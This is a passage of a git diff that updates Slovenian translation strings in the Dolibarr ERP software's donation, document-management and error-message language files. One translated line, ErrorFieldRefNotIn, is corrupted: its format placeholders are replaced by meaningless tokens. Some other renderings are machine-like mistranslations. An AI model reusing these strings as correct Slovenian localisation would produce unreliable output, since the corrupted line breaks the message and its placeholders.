več +ExpAuto7PCV=7 CV in več +ExpAuto8PCV=8 CV in več +ExpAuto9PCV=9 CV in več +ExpAuto10PCV=10 CV in več +ExpAuto11PCV=11 CV in več +ExpAuto12PCV=12 CV in več +ExpAuto13PCV=13 CV in več +ExpCyclo=Zmogljivost nižja do 50cm3 +ExpMoto12CV=Motorno kolo 1 ali 2 CV +ExpMoto345CV=Motorno kolo 3, 4 ali 5 CV +ExpMoto5PCV=Motorno kolo 5 CV in več diff --git a/htdocs/langs/sl_SI/donations.lang b/htdocs/langs/sl_SI/donations.lang index c118b281e75..40312bd7aaf 100644 --- a/htdocs/langs/sl_SI/donations.lang +++ b/htdocs/langs/sl_SI/donations.lang @@ -6,7 +6,7 @@ Donor=Donator AddDonation=Ustvari donacijo NewDonation=Nova donacija DeleteADonation=Zbriši donacijo -ConfirmDeleteADonation=Are you sure you want to delete this donation? +ConfirmDeleteADonation=Ali ste prepričani, da želite izbrisati to donacijo? PublicDonation=Javna donacija DonationsArea=Področje donacij DonationStatusPromiseNotValidated=Osnutek obljube @@ -16,7 +16,7 @@ DonationStatusPromiseNotValidatedShort=Osnutek DonationStatusPromiseValidatedShort=Potrjena DonationStatusPaidShort=Prejeta DonationTitle=Prejem donacije -DonationDate=Donation date +DonationDate=Datum darovanja DonationDatePayment=Datum plačila ValidPromess=Potrjena obljuba DonationReceipt=Prejem donacije @@ -31,4 +31,5 @@ DONATION_ART200=Prikaži člen 200 iz CGI, če se vas tiče DONATION_ART238=Prikaži člen 238 iz CGI, če se vas tiče DONATION_ART885=Prikaži člen 885 iz CGI, če se vas tiče DonationPayment=Plačilo donacije -DonationValidated=Donation %s validated +DonationValidated=Donacija %s potrjena +DonationUseThirdparties=Uporabite obstoječo tretjo osebo kot koordinate donatorjev diff --git a/htdocs/langs/sl_SI/ecm.lang b/htdocs/langs/sl_SI/ecm.lang index 72e62f529cb..579b1baea22 100644 --- a/htdocs/langs/sl_SI/ecm.lang +++ b/htdocs/langs/sl_SI/ecm.lang @@ -1,12 +1,13 @@ # Dolibarr language file - Source file is en_US - ecm -ECMNbOfDocs=No. of documents in directory +ECMNbOfDocs=Št. dokumentov v imeniku ECMSection=Mapa ECMSectionManual=Ročna mapa ECMSectionAuto=Avtomatska mapa ECMSectionsManual=Ročna struktura ECMSectionsAuto=Avtomatska struktura +ECMSectionsMedias=Medias tree ECMSections=Mape -ECMRoot=ECM Root +ECMRoot=Koren ECM ECMNewSection=Nova mapa ECMAddSection=Dodaj mapo ECMCreationDate=Datum kreiranja @@ -14,36 +15,38 @@ ECMNbOfFilesInDir=Število datotek v mapi ECMNbOfSubDir=Število poddirektorijev ECMNbOfFilesInSubDir=Število datotek v poddirektorijih ECMCreationUser=Kreator -ECMArea=DMS/ECM area -ECMAreaDesc=The DMS/ECM (Document Management System / Electronic Content Management) area allows you to save, share and search quickly all kind of documents in Dolibarr. -ECMAreaDesc2=* Avtomatske mape se polnijo avtomatsko, ko se doda dokument s kartice elementa.
      * Ročne mape se lahko uporabijo za shranitev dokumentov, ki niso vezani na določen element. +ECMArea=Območje DMS/ECM +ECMAreaDesc=Območje DMS/ECM (sistem za upravljanje dokumentov/upravljanje elektronske vsebine) vam omogoča shranjevanje, skupno rabo in hitro iskanje vseh vrst dokumentov v Dolibarrju. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Mapa %s je bila izbrisana. -ECMSectionWasCreated=Directory %s has been created. +ECMSectionWasCreated=Imenik %s je ustvarjen. ECMSearchByKeywords=Iskanje po ključnih besedah ECMSearchByEntity=Iskanje po objektu ECMSectionOfDocuments=Mape dokumentov ECMTypeAuto=Avtomatsko -ECMDocsBy=Documents linked to %s +ECMDocsBy=Dokumenti, povezani z %s ECMNoDirectoryYet=Ni kreiranih map ShowECMSection=Prikaži mapo DeleteSection=Odstrani mapo -ConfirmDeleteSection=Can you confirm you want to delete the directory %s? +ConfirmDeleteSection=Ali lahko potrdite, da želite izbrisati imenik %s ? ECMDirectoryForFiles=Odvisna mapa za datoteke -CannotRemoveDirectoryContainsFilesOrDirs=Removal not possible because it contains some files or sub-directories -CannotRemoveDirectoryContainsFiles=Removal not possible because it contains some files +CannotRemoveDirectoryContainsFilesOrDirs=Odstranitev ni mogoča, ker vsebuje nekaj datotek ali podimenikov +CannotRemoveDirectoryContainsFiles=Odstranitev ni mogoča, ker vsebuje nekaj datotek ECMFileManager=Upravljanje z datotekami -ECMSelectASection=Select a directory in the tree... -DirNotSynchronizedSyncFirst=This directory seems to be created or modified outside ECM module. You must click on "Resync" button first to synchronize disk and database to get content of this directory. -ReSyncListOfDir=Resync list of directories -HashOfFileContent=Hash of file content -NoDirectoriesFound=No directories found -FileNotYetIndexedInDatabase=File not yet indexed into database (try to re-upload it) -ExtraFieldsEcmFiles=Extrafields Ecm Files -ExtraFieldsEcmDirectories=Extrafields Ecm Directories -ECMSetup=ECM Setup -GenerateImgWebp=Duplicate all images with another version with .webp format -ConfirmGenerateImgWebp=If you confirm, you will generate an image in .webp format for all images currently into this folder (subfolders are not included)... -ConfirmImgWebpCreation=Confirm all images duplication -SucessConvertImgWebp=Images successfully duplicated -ECMDirName=Dir name -ECMParentDirectory=Parent directory +ECMSelectASection=Izberite imenik v drevesu ... +DirNotSynchronizedSyncFirst=Videti je, da je bil ta imenik ustvarjen ali spremenjen zunaj modula ECM. Najprej morate klikniti gumb »Ponovna sinhronizacija«, da sinhronizirate disk in bazo podatkov, da dobite vsebino tega imenika. +ReSyncListOfDir=Ponovno sinhroniziraj seznam imenikov +HashOfFileContent=Zgoščena vsebina datoteke +NoDirectoriesFound=Ni imenikov +FileNotYetIndexedInDatabase=Datoteka še ni indeksirana v bazi podatkov (poskusite jo znova naložiti) +ExtraFieldsEcmFiles=Dodatna polja Ecm datoteke +ExtraFieldsEcmDirectories=Dodatna polja Ecm Imeniki +ECMSetup=Nastavitev ECM +GenerateImgWebp=Podvojite vse slike z drugo različico s formatom .webp +ConfirmGenerateImgWebp=Če potrdite, boste ustvarili sliko v formatu .webp za vse slike, ki so trenutno v tej mapi (podmape niso vključene) ... +ConfirmImgWebpCreation=Potrdite vse podvojitve slik +SucessConvertImgWebp=Slike so bile uspešno podvojene +ECMDirName=Dir ime +ECMParentDirectory=Nadrejeni imenik diff --git a/htdocs/langs/sl_SI/errors.lang b/htdocs/langs/sl_SI/errors.lang index 7910fee7eaa..44df2c52c98 100644 --- a/htdocs/langs/sl_SI/errors.lang +++ b/htdocs/langs/sl_SI/errors.lang @@ -1,59 +1,62 @@ # Dolibarr language file - Source file is en_US - errors # No errors -NoErrorCommitIsDone=No error, we commit +NoErrorCommitIsDone=Brez napake, zavezujemo se # Errors -ErrorButCommitIsDone=Errors found but we validate despite this -ErrorBadEMail=Email %s is incorrect -ErrorBadMXDomain=Email %s seems incorrect (domain has no valid MX record) -ErrorBadUrl=Url %s is incorrect -ErrorBadValueForParamNotAString=Bad value for your parameter. It appends generally when translation is missing. -ErrorRefAlreadyExists=Reference %s already exists. +ErrorButCommitIsDone=Najdene napake, vendar kljub temu preverjamo +ErrorBadEMail=E-pošta %s ni pravilna +ErrorBadMXDomain=E-pošta %s se zdi napačna (domena nima veljavnega zapisa MX) +ErrorBadUrl=Url %s ni pravilen +ErrorBadValueForParamNotAString=Neveljaven parameter. Na splošno se doda, ko manjka prevod. +ErrorRefAlreadyExists=Referenca %s že obstaja. +ErrorTitleAlreadyExists=Naslov %s že obstaja. ErrorLoginAlreadyExists=Uporabniško ime %s že obstaja. ErrorGroupAlreadyExists=Skupina %s že obstaja. -ErrorEmailAlreadyExists=Email %s already exists. +ErrorEmailAlreadyExists=E-pošta %s že obstaja. ErrorRecordNotFound=Ne najdem zapisa. +ErrorRecordNotFoundShort=Ni najdeno ErrorFailToCopyFile=Ni kopirati Datoteka '%s "nadomesti z" %s ". -ErrorFailToCopyDir=Failed to copy directory '%s' into '%s'. +ErrorFailToCopyDir=Imenika » %s « ni bilo mogoče kopirati v » %s «. ErrorFailToRenameFile=Napaka pri preimenovanju datoteke '%s' v '%s'. ErrorFailToDeleteFile=Napaka pri odstranitvi datoteke '%s'. ErrorFailToCreateFile=Napaka pri kreiranju datoteke '%s'. ErrorFailToRenameDir=Napaka pri preimenovanju mape '%s' v '%s'. ErrorFailToCreateDir=Napaka pri kreiranju mape '%s'. ErrorFailToDeleteDir=Napaka pri brisanju mape '%s'. -ErrorFailToMakeReplacementInto=Failed to make replacement into file '%s'. -ErrorFailToGenerateFile=Failed to generate file '%s'. +ErrorFailToMakeReplacementInto=Zamenjava v datoteko » %s « ni uspela. +ErrorFailToGenerateFile=Datoteke » %s « ni bilo mogoče ustvariti. ErrorThisContactIsAlreadyDefinedAsThisType=Ta kontakt je že definiran kot kontakt istega tipa. ErrorCashAccountAcceptsOnlyCashMoney=Ta bančni račun je gotovinski, zato so možna samo gotovinska plačila. ErrorFromToAccountsMustDiffers=Plačilni in ciljni bančni račun morata biti različna. -ErrorBadThirdPartyName=Bad value for third-party name -ForbiddenBySetupRules=Forbidden by setup rules -ErrorProdIdIsMandatory=The %s is mandatory -ErrorAccountancyCodeCustomerIsMandatory=The accountancy code of customer %s is mandatory +ErrorBadThirdPartyName=Neveljavno ime partnerja +ForbiddenBySetupRules=Prepovedano s pravili nastavitve +ErrorProdIdIsMandatory=%s je obvezen +ErrorAccountancyCodeCustomerIsMandatory=Knjigovodska šifra stranke %s je obvezna ErrorBadCustomerCodeSyntax=Napačna koda kupca -ErrorBadBarCodeSyntax=Bad syntax for barcode. May be you set a bad barcode type or you defined a barcode mask for numbering that does not match value scanned. +ErrorBadBarCodeSyntax=Neveljavna črtna koda. Morda ste nastavili nepravilen tip črtne kode ali pa ste določili masko črtne kode za številčenje, ki se ne ujema s skenirano vrednostjo. ErrorCustomerCodeRequired=Obvezna koda kupca -ErrorBarCodeRequired=Barcode required +ErrorBarCodeRequired=Potrebna je črtna koda ErrorCustomerCodeAlreadyUsed=Koda kupca je že uporabljena -ErrorBarCodeAlreadyUsed=Barcode already used +ErrorBarCodeAlreadyUsed=Črtna koda je že uporabljena ErrorPrefixRequired=Obvezna predpona -ErrorBadSupplierCodeSyntax=Bad syntax for vendor code -ErrorSupplierCodeRequired=Vendor code required -ErrorSupplierCodeAlreadyUsed=Vendor code already used +ErrorBadSupplierCodeSyntax=Neveljavna dobaviteljeva koda +ErrorSupplierCodeRequired=Zahtevana koda dobavitelja +ErrorSupplierCodeAlreadyUsed=Koda dobavitelja je že uporabljena ErrorBadParameters=Napačni parametri -ErrorWrongParameters=Wrong or missing parameters -ErrorBadValueForParameter=Wrong value '%s' for parameter '%s' -ErrorBadImageFormat=Image file has not a supported format (Your PHP does not support functions to convert images of this format) +ErrorWrongParameters=Napačni ali manjkajoči parametri +ErrorBadValueForParameter=Napačna vrednost '%s' za parameter '%s' +ErrorBadImageFormat=Slikovna datoteka nima podprtega formata (Vaš PHP ne podpira funkcij za pretvorbo slik v tem formatu) ErrorBadDateFormat=Vrednost '%s "je napačen zapis datuma -ErrorWrongDate=Date is not correct! +ErrorWrongDate=Datum ni pravilen! ErrorFailedToWriteInDir=Napaka pri pisanju v mapo %s +ErrorFailedToBuildArchive=Zgradnja arhivske datoteke %s ni uspela ErrorFoundBadEmailInFile=Napačna email sintaksa v vrstici %s v datoteki (naprimer vrstica %s z emailom=%s) -ErrorUserCannotBeDelete=User cannot be deleted. Maybe it is associated to Dolibarr entities. -ErrorFieldsRequired=Some required fields have been left blank. -ErrorSubjectIsRequired=The email subject is required +ErrorUserCannotBeDelete=Uporabnika ni mogoče izbrisati. Morda je povezan z entitetami Dolibarr. +ErrorFieldsRequired=Nekatera zahtevana polja so ostala prazna. +ErrorSubjectIsRequired=Zadeva e-poštnega sporočila je obvezna ErrorFailedToCreateDir=Kreiranje mape ni uspelo. Preverite, če ima uporabnik internetne strani dovoljenje za pisanje v mapo z Dolibarr dokumenti. Če je parameter safe_mode v tem PHP omogočen, preverite če je lastnik Dolibarr php datotek uporabnik web strežnika (ali skupina). ErrorNoMailDefinedForThisUser=Ta uporabnik nima določenega Email naslova -ErrorSetupOfEmailsNotComplete=Setup of emails is not complete +ErrorSetupOfEmailsNotComplete=Nastavitev e-pošte ni dokončana ErrorFeatureNeedJavascript=Za aktiviranje ali delovanje te funkcije je potreben javascript. Spremenite »Nastavitve – Prikaz«. ErrorTopMenuMustHaveAParentWithId0='Zgoernji' meni ne more imeti nadrejenega menija. Vnesite 0 v nadrejeni meni ali izberite vrsto menija 'Levi'. ErrorLeftMenuMustHaveAParentId='Levi' meni mora imeti Nadrejeni ID. @@ -62,273 +65,299 @@ ErrorDirNotFound=Mapa %s ni bila najdena (Napačna pot, nimate dovoljenj ErrorFunctionNotAvailableInPHP=Za to opcijo je zahtevana funkcija %s, ki pa ni na voljo v tej verziji/nastavitvah PHP. ErrorDirAlreadyExists=Mapa z enakim imenom že obstaja. ErrorFileAlreadyExists=Datoteka z enakim imenom že obstaja. -ErrorDestinationAlreadyExists=Another file with the name %s already exists. +ErrorDestinationAlreadyExists=Druga datoteka z imenom %s že obstaja. ErrorPartialFile=V strežnik ni bila prenešena celotna datoteka. ErrorNoTmpDir=Začasna mapa %s ne obstaja. ErrorUploadBlockedByAddon=PHP/Apache vtičnik je blokiral nalaganje. -ErrorFileSizeTooLarge=Datoteka je prevelika. -ErrorFieldTooLong=Field %s is too long. +ErrorFileSizeTooLarge=Velikost datoteke je prevelika ali datoteka ni na voljo. +ErrorFieldTooLong=Polje %s je predolgo. ErrorSizeTooLongForIntType=Velikost predolgo int tip (%s številke največ) ErrorSizeTooLongForVarcharType=Velikost predolgo za tip za nize (%s znakov največ) -ErrorNoValueForSelectType=Please fill value for select list -ErrorNoValueForCheckBoxType=Please fill value for checkbox list -ErrorNoValueForRadioType=Please fill value for radio list -ErrorBadFormatValueList=The list value cannot have more than one comma: %s, but need at least one: key,value -ErrorFieldCanNotContainSpecialCharacters=The field %s must not contains special characters. -ErrorFieldCanNotContainSpecialNorUpperCharacters=The field %s must not contain special characters, nor upper case characters and cannot contain only numbers. -ErrorFieldMustHaveXChar=The field %s must have at least %s characters. +ErrorNoValueForSelectType=Izpolnite vrednost za izbrani seznam +ErrorNoValueForCheckBoxType=Izpolnite vrednost za seznam potrditvenih polj +ErrorNoValueForRadioType=Izpolnite vrednost za radijski seznam +ErrorBadFormatValueList=Vrednost seznama ne sme imeti več kot ene vejice: %s , vendar potrebuje vsaj eno: ključ, vrednost +ErrorFieldCanNotContainSpecialCharacters=Polje %s ne sme vsebovati posebnih znakov. +ErrorFieldCanNotContainSpecialNorUpperCharacters=Polje %s ne sme vsebovati posebnih znakov niti velikih črk in se mora začeti z abecednim znakom (a-z) +ErrorFieldMustHaveXChar=Polje %s mora imeti najmanj %s znakov. ErrorNoAccountancyModuleLoaded=Ni aktiviran računovodski modul -ErrorExportDuplicateProfil=This profile name already exists for this export set. +ErrorExportDuplicateProfil=To ime profila že obstaja za ta izvozni niz. ErrorLDAPSetupNotComplete=Dolibarr-LDAP združevanje ni popolno. ErrorLDAPMakeManualTest=Datoteka .ldif je bila ustvarjena v mapi %s. Poskusite jo naložiti ročno preko ukazne vrstice, da bi dobili več podatkov o napaki. -ErrorCantSaveADoneUserWithZeroPercentage=Can't save an action with "status not started" if field "done by" is also filled. -ErrorRefAlreadyExists=Reference %s already exists. -ErrorPleaseTypeBankTransactionReportName=Please enter the bank statement name where the entry has to be reported (Format YYYYMM or YYYYMMDD) -ErrorRecordHasChildren=Failed to delete record since it has some child records. -ErrorRecordHasAtLeastOneChildOfType=Object %s has at least one child of type %s -ErrorRecordIsUsedCantDelete=Can't delete record. It is already used or included into another object. +ErrorCantSaveADoneUserWithZeroPercentage=Ni mogoče shraniti dejanja s statusom »ni začeto«, če je izpolnjeno tudi polje »končano do«. +ErrorRefAlreadyExists=Referenca %s že obstaja. +ErrorPleaseTypeBankTransactionReportName=Prosimo, vnesite ime bančnega izpiska, kjer je treba prijaviti vnos (oblika LLLLMM ali LLLLMMDD) +ErrorRecordHasChildren=Zapisa ni bilo mogoče izbrisati, ker ima nekaj podrejenih zapisov. +ErrorRecordHasAtLeastOneChildOfType=Objekt %s ima vsaj enega podrejenega tipa %s +ErrorRecordIsUsedCantDelete=Zapisa ni mogoče izbrisati. Je že uporabljen ali vključen v drug objekt. ErrorModuleRequireJavascript=Javascript ne sme biti izklopljen, če želite da ta funkcija deluje. Javascript vklopite/izklopite v meniju Domov->Nastavitve->Prikaz. ErrorPasswordsMustMatch=Obe vneseni gesli se morata ujemati -ErrorContactEMail=A technical error occured. Please, contact administrator to following email %s and provide the error code %s in your message, or add a screen copy of this page. -ErrorWrongValueForField=Field %s: '%s' does not match regex rule %s -ErrorFieldValueNotIn=Field %s: '%s' is not a value found in field %s of %s -ErrorFieldRefNotIn=Field %s: '%s' is not a %s existing ref -ErrorsOnXLines=%s errors found +ErrorContactEMail=Prišlo je do tehnične napake. Obrnite se na skrbnika na naslednji e-poštni naslov %s in v sporočilu navedite kodo napake %s ali dodajte zaslonsko kopijo te strani. +ErrorWrongValueForField=Field %s : ' %s ' does not match regex rule %s +ErrorHtmlInjectionForField=Polje %s : Vrednost ' %s ' vsebuje zlonamerne podatke, ki niso dovoljeni +ErrorFieldValueNotIn=Field %s : ' %s ' is not a value found in field %s of %s +ErrorFieldRefNotIn=Field %s : ' A0ECB2EC87fz0 A09FZ0 A03658F8Z0' ni A03658F8Z0 ' +ErrorMultipleRecordFoundFromRef=Pri iskanju z ref %s je bilo najdenih več zapisov. Ni mogoče vedeti, kateri ID uporabiti. +ErrorsOnXLines=%s najdene napake ErrorFileIsInfectedWithAVirus=Antivirusni program ni mogel potrditi datoteke (datoteka je morda okužena) -ErrorSpecialCharNotAllowedForField=Posebni znaki niso dovoljeni v polju "%s" ErrorNumRefModel=V bazi podatkov obstaja referenca (%s), ki ni kompatibilna s tem pravilom za številčenje. Odstranite zapis ali preimenujte referenco za aktivacijo tega modula. -ErrorQtyTooLowForThisSupplier=Quantity too low for this vendor or no price defined on this product for this vendor -ErrorOrdersNotCreatedQtyTooLow=Some orders haven't been created because of too-low quantities -ErrorModuleSetupNotComplete=Setup of module %s looks to be uncomplete. Go on Home - Setup - Modules to complete. +ErrorQtyTooLowForThisSupplier=Količina je za dobavitelja prenizka ali ni določene cene za izdelek +ErrorOrdersNotCreatedQtyTooLow=Nekatera naročila niso bila ustvarjena zaradi premajhnih količin +ErrorModuleSetupNotComplete=Zdi se, da nastavitev modula %s ni dokončana. Pojdite na Domov - Nastavitve - Moduli za dokončanje. ErrorBadMask=Napaka na maski ErrorBadMaskFailedToLocatePosOfSequence=Napaka, maska je brez zaporedne številke ErrorBadMaskBadRazMonth=Napaka, napačna resetirana vrednost -ErrorMaxNumberReachForThisMask=Maximum number reached for this mask -ErrorCounterMustHaveMoreThan3Digits=Counter must have more than 3 digits -ErrorSelectAtLeastOne=Error, select at least one entry. -ErrorDeleteNotPossibleLineIsConsolidated=Delete not possible because record is linked to a bank transaction that is conciliated +ErrorMaxNumberReachForThisMask=Za to masko je bilo doseženo največje število +ErrorCounterMustHaveMoreThan3Digits=Števec mora imeti več kot 3 števke +ErrorSelectAtLeastOne=Napaka, izberite vsaj en vnos. +ErrorDeleteNotPossibleLineIsConsolidated=Brisanje ni mogoče, ker je zapis povezan z bančno transakcijo, ki je poravnana ErrorProdIdAlreadyExist=%s je dodeljen v drugo tretjo ErrorFailedToSendPassword=Ni bilo mogoče poslati gesla ErrorFailedToLoadRSSFile=Ne Knjiga. Poskusite dodati stalno MAIN_SIMPLEXMLLOAD_DEBUG sporočila o napakah, če ne zagotavlja dovolj informacij. -ErrorForbidden=Access denied.
      You try to access to a page, area or feature of a disabled module or without being in an authenticated session or that is not allowed to your user. +ErrorForbidden=Dostop zavrnjen.
      Poskušate dostopati do strani, območja ali funkcije onemogočenega modula ali ne da bi bili v overjeni seji ali pa to ni dovoljeno vašemu uporabniku. ErrorForbidden2=Dovoljenje za to prijavo se lahko opredeli skrbnik Dolibarr iz menija %s-> %s. ErrorForbidden3=Zdi se, da je Dolibarr ne uporablja prek overjeno sejo. Oglejte si namestitveno dokumentacijo Dolibarr vedeti, kako upravljati authentications (htaccess, mod_auth ali drugo ...). -ErrorForbidden4=Note: clear your browser cookies to destroy existing sessions for this login. +ErrorForbidden4=Opomba: počistite piškotke brskalnika, da uničite obstoječe seje za to prijavo. ErrorNoImagickReadimage=Razred Imagick ni mogoče najti v tem PHP. Št Predogled je lahko na voljo. Skrbniki lahko onemogočite to kartico od Setup meniju - Display. ErrorRecordAlreadyExists=Zapis že obstaja -ErrorLabelAlreadyExists=This label already exists +ErrorLabelAlreadyExists=Ta oznaka že obstaja ErrorCantReadFile=Ni mogoče prebrati Datoteka '%s želiš ErrorCantReadDir=Ni mogoče prebrati imenik '%s " -ErrorBadLoginPassword=Slaba vrednost za prijavo ali geslo +ErrorBadLoginPassword=Neveljavno uporabniško ime ali geslo ErrorLoginDisabled=Vaš račun je bil onemogočen -ErrorFailedToRunExternalCommand=Failed to run external command. Check it is available and runnable by your PHP server user. Check also the command is not protected on shell level by a security layer like apparmor. +ErrorFailedToRunExternalCommand=Zagon zunanjega ukaza ni uspel. Preverite, ali je na voljo in ali ga lahko izvaja vaš uporabnik strežnika PHP. Preverite tudi, ali ukaz ni zaščiten na ravni lupine z varnostno plastjo, kot je apparmor. ErrorFailedToChangePassword=Ni, da spremenite geslo ErrorLoginDoesNotExists=Uporabnik s prijavo %s ni bilo mogoče najti. ErrorLoginHasNoEmail=Ta uporabnik nima e-poštni naslov. Obdelati prekinjena. -ErrorBadValueForCode=Slaba vrednost za varnostno kodo. Poskusite znova z novo vrednost ... +ErrorBadValueForCode=Neveljavna varnostna koda. Poskusite znova... ErrorBothFieldCantBeNegative=Polja %s in %s ne more biti tako negativna -ErrorFieldCantBeNegativeOnInvoice=Field %s cannot be negative on this type of invoice. If you need to add a discount line, just create the discount first (from field '%s' in thirdparty card) and apply it to the invoice. -ErrorLinesCantBeNegativeForOneVATRate=Total of lines (net of tax) can't be negative for a given not null VAT rate (Found a negative total for VAT rate %s%%). -ErrorLinesCantBeNegativeOnDeposits=Lines can't be negative in a deposit. You will face problems when you will need to consume the deposit in final invoice if you do so. -ErrorQtyForCustomerInvoiceCantBeNegative=Quantity for line into customer invoices can't be negative +ErrorFieldCantBeNegativeOnInvoice=Polje %s na tej vrsti računa ne more biti negativno. Če morate dodati vrstico za popust, najprej ustvarite popust (iz polja '%s' na kartici tretje osebe) in ga uporabite na računu. +ErrorLinesCantBeNegativeForOneVATRate=Skupni znesek vrstic (brez davka) ne more biti negativen za dano stopnjo DDV, ki ni ničelna (Najdeno je negativno skupno število za stopnjo DDV %s %%). +ErrorLinesCantBeNegativeOnDeposits=Vrstice v depozitu ne smejo biti negativne. Če boste to storili, se boste srečali s težavami, ko boste morali porabiti polog v končnem računu. +ErrorQtyForCustomerInvoiceCantBeNegative=Količina za vrstico v računih strank ne sme biti negativna ErrorWebServerUserHasNotPermission=Uporabniški račun %s uporablja za izvedbo spletni strežnik nima dovoljenja za to ErrorNoActivatedBarcode=Noben tip črtne kode ni aktiviran -ErrUnzipFails=Failed to unzip %s with ZipArchive -ErrNoZipEngine=No engine to zip/unzip %s file in this PHP -ErrorFileMustBeADolibarrPackage=The file %s must be a Dolibarr zip package -ErrorModuleFileRequired=You must select a Dolibarr module package file -ErrorPhpCurlNotInstalled=The PHP CURL is not installed, this is essential to talk with Paypal -ErrorFailedToAddToMailmanList=Failed to add record %s to Mailman list %s or SPIP base -ErrorFailedToRemoveToMailmanList=Failed to remove record %s to Mailman list %s or SPIP base -ErrorNewValueCantMatchOldValue=New value can't be equal to old one -ErrorFailedToValidatePasswordReset=Failed to reinit password. May be the reinit was already done (this link can be used only one time). If not, try to restart the reinit process. -ErrorToConnectToMysqlCheckInstance=Connect to database fails. Check database server is running (for example, with mysql/mariadb, you can launch it from command line with 'sudo service mysql start'). -ErrorFailedToAddContact=Failed to add contact -ErrorDateMustBeBeforeToday=The date must be lower than today -ErrorDateMustBeInFuture=The date must be greater than today -ErrorPaymentModeDefinedToWithoutSetup=A payment mode was set to type %s but setup of module Invoice was not completed to define information to show for this payment mode. -ErrorPHPNeedModule=Error, your PHP must have module %s installed to use this feature. -ErrorOpenIDSetupNotComplete=You setup Dolibarr config file to allow OpenID authentication, but URL of OpenID service is not defined into constant %s -ErrorWarehouseMustDiffers=Source and target warehouses must differs -ErrorBadFormat=Bad format! -ErrorMemberNotLinkedToAThirpartyLinkOrCreateFirst=Error, this member is not yet linked to any third party. Link member to an existing third party or create a new third party before creating subscription with invoice. -ErrorThereIsSomeDeliveries=Error, there is some deliveries linked to this shipment. Deletion refused. -ErrorCantDeletePaymentReconciliated=Can't delete a payment that had generated a bank entry that was reconciled -ErrorCantDeletePaymentSharedWithPayedInvoice=Can't delete a payment shared by at least one invoice with status Paid -ErrorPriceExpression1=Cannot assign to constant '%s' -ErrorPriceExpression2=Cannot redefine built-in function '%s' -ErrorPriceExpression3=Undefined variable '%s' in function definition -ErrorPriceExpression4=Illegal character '%s' -ErrorPriceExpression5=Unexpected '%s' -ErrorPriceExpression6=Wrong number of arguments (%s given, %s expected) -ErrorPriceExpression8=Unexpected operator '%s' -ErrorPriceExpression9=An unexpected error occured -ErrorPriceExpression10=Operator '%s' lacks operand -ErrorPriceExpression11=Expecting '%s' -ErrorPriceExpression14=Division by zero -ErrorPriceExpression17=Undefined variable '%s' -ErrorPriceExpression19=Expression not found -ErrorPriceExpression20=Empty expression -ErrorPriceExpression21=Empty result '%s' -ErrorPriceExpression22=Negative result '%s' -ErrorPriceExpression23=Unknown or non set variable '%s' in %s -ErrorPriceExpression24=Variable '%s' exists but has no value -ErrorPriceExpressionInternal=Internal error '%s' -ErrorPriceExpressionUnknown=Unknown error '%s' -ErrorSrcAndTargetWarehouseMustDiffers=Source and target warehouses must differs -ErrorTryToMakeMoveOnProductRequiringBatchData=Error, trying to make a stock movement without lot/serial information, on product '%s' requiring lot/serial information -ErrorCantSetReceptionToTotalDoneWithReceptionToApprove=All recorded receptions must first be verified (approved or denied) before being allowed to do this action -ErrorCantSetReceptionToTotalDoneWithReceptionDenied=All recorded receptions must first be verified (approved) before being allowed to do this action -ErrorGlobalVariableUpdater0=HTTP request failed with error '%s' -ErrorGlobalVariableUpdater1=Invalid JSON format '%s' -ErrorGlobalVariableUpdater2=Missing parameter '%s' -ErrorGlobalVariableUpdater3=The requested data was not found in result -ErrorGlobalVariableUpdater4=SOAP client failed with error '%s' -ErrorGlobalVariableUpdater5=No global variable selected -ErrorFieldMustBeANumeric=Field %s must be a numeric value -ErrorMandatoryParametersNotProvided=Mandatory parameter(s) not provided -ErrorOppStatusRequiredIfAmount=You set an estimated amount for this lead. So you must also enter it's status. -ErrorFailedToLoadModuleDescriptorForXXX=Failed to load module descriptor class for %s -ErrorBadDefinitionOfMenuArrayInModuleDescriptor=Bad Definition Of Menu Array In Module Descriptor (bad value for key fk_menu) -ErrorSavingChanges=An error has occurred when saving the changes -ErrorWarehouseRequiredIntoShipmentLine=Warehouse is required on the line to ship -ErrorFileMustHaveFormat=File must have format %s -ErrorFilenameCantStartWithDot=Filename can't start with a '.' -ErrorSupplierCountryIsNotDefined=Country for this vendor is not defined. Correct this first. -ErrorsThirdpartyMerge=Failed to merge the two records. Request canceled. -ErrorStockIsNotEnoughToAddProductOnOrder=Stock is not enough for product %s to add it into a new order. -ErrorStockIsNotEnoughToAddProductOnInvoice=Stock is not enough for product %s to add it into a new invoice. -ErrorStockIsNotEnoughToAddProductOnShipment=Stock is not enough for product %s to add it into a new shipment. -ErrorStockIsNotEnoughToAddProductOnProposal=Stock is not enough for product %s to add it into a new proposal. -ErrorFailedToLoadLoginFileForMode=Failed to get the login key for mode '%s'. -ErrorModuleNotFound=File of module was not found. -ErrorFieldAccountNotDefinedForBankLine=Value for Accounting account not defined for source line id %s (%s) -ErrorFieldAccountNotDefinedForInvoiceLine=Value for Accounting account not defined for invoice id %s (%s) -ErrorFieldAccountNotDefinedForLine=Value for Accounting account not defined for the line (%s) -ErrorBankStatementNameMustFollowRegex=Error, bank statement name must follow the following syntax rule %s -ErrorPhpMailDelivery=Check that you don't use a too high number of recipients and that your email content is not similar to a Spam. Ask also your administrator to check firewall and server logs files for a more complete information. -ErrorUserNotAssignedToTask=User must be assigned to task to be able to enter time consumed. -ErrorTaskAlreadyAssigned=Task already assigned to user -ErrorModuleFileSeemsToHaveAWrongFormat=The module package seems to have a wrong format. -ErrorModuleFileSeemsToHaveAWrongFormat2=At least one mandatory directory must exists into zip of module: %s or %s -ErrorFilenameDosNotMatchDolibarrPackageRules=The name of the module package (%s) does not match expected name syntax: %s -ErrorDuplicateTrigger=Error, duplicate trigger name %s. Already loaded from %s. -ErrorNoWarehouseDefined=Error, no warehouses defined. -ErrorBadLinkSourceSetButBadValueForRef=The link you use is not valid. A 'source' for payment is defined, but value for 'ref' is not valid. -ErrorTooManyErrorsProcessStopped=Too many errors. Process was stopped. -ErrorMassValidationNotAllowedWhenStockIncreaseOnAction=Mass validation is not possible when option to increase/decrease stock is set on this action (you must validate one by one so you can define the warehouse to increase/decrease) -ErrorObjectMustHaveStatusDraftToBeValidated=Object %s must have status 'Draft' to be validated. -ErrorObjectMustHaveLinesToBeValidated=Object %s must have lines to be validated. -ErrorOnlyInvoiceValidatedCanBeSentInMassAction=Only validated invoices can be sent using the "Send by email" mass 